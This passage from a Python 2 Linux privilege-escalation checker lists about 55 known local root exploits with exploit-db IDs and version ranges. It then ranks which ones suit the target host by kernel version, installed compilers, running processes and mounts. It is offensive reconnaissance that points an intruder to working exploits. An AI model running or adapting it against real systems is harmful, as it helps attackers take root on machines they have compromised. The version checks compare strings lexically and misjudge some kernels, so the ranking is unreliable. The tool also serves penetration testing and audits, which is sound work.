uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 252 | "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, 253 | "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 254 | "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, 255 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 256 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 257 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 258 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, 259 | "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 260 | "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 261 | "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, 262 | "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 263 | "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, 264 | "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 265 | "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, 266 | "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, 267 | "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 268 | "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 269 | "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, 270 | "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, 271 | "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 272 | "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 273 | "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 274 | "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 275 | "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, 276 | "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 277 | "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 278 | "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 279 | "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 280 | "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 281 | "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 282 | "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 283 | "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 284 | "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 285 | "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, 286 | "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, 287 | "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 288 | "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, 289 | "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, 290 | "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, 291 | "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 292 | "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 293 | "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 294 | "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 295 | "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 296 | "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 297 | "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 298 | "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 299 | "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, 300 | "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 301 | "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 302 | "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 303 | "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, 304 | "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 305 | "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 306 | } 307 | 308 | # variable declaration 309 | os = sysInfo["OS"]["results"][0] 310 | version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] 311 | langs = devTools["TOOLS"]["results"] 312 | procs = getAppProc["PROCS"]["results"] 313 | kernel = str(sysInfo["KERNEL"]["results"][0]) 314 | mount = driveInfo["MOUNT"]["results"] 315 | #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future 316 | 317 | 318 | # lists to hold ranked, applicable sploits 319 | # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks 320 | # all applicable exploits should be checked and this function could probably use some improvement 321 | avgprob = [] 322 | highprob = [] 323 | 324 | for sploit in sploits: 325 | lang = 0 # use to rank applicability of sploits 326 | keyword = sploits[sploit]["keywords"]["val"] 327 | sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] 328 | # first check for kernell applicability 329 | if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): 330 | # next check language applicability 331 | if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): 332 | lang = 1 # language found, increase applicability score 333 | elif sploits[sploit]["lang"] == "sh": 334 | lang = 1 # language found, increase applicability score 335 | elif (sploits[sploit]["lang"] in str(langs)): 336 | lang = 1 # language found, increase applicability score 337 | if lang == 0: 338 | sploitout = sploitout + "**" # added mark if language not detected on system 339 | # next check keyword matches to determine if some sploits have a higher probability of success 340 | for loc in sploits[sploit]["keywords"]["loc"]: 341 | if loc == "proc": 342 | for proc in procs: 343 | if keyword in proc: 344 | highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability 345 | break 346 | break 347 | elif loc == "os": 348 | if (keyword in os) or (keyword in kernel): 349 | highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability 350 | break 351 | elif loc == "mnt": 352 | if keyword in mount: 353 | highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability 354 | break 355 | else: 356 | avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version 357 | 358 | print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" 359 | print 360 | 361 | print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" 362 | for exploit in highprob: 363 | print " - " + exploit 364 | print 365 | 366 | print " The following exploits are applicable to this kernel version and should be investigated as well" 367 | for exploit in avgprob: 368 | print " - " + exploit 369 | 370 | print 371 | print "Finished" 372 | print bigline 373 | --------------------------------------------------------------------------------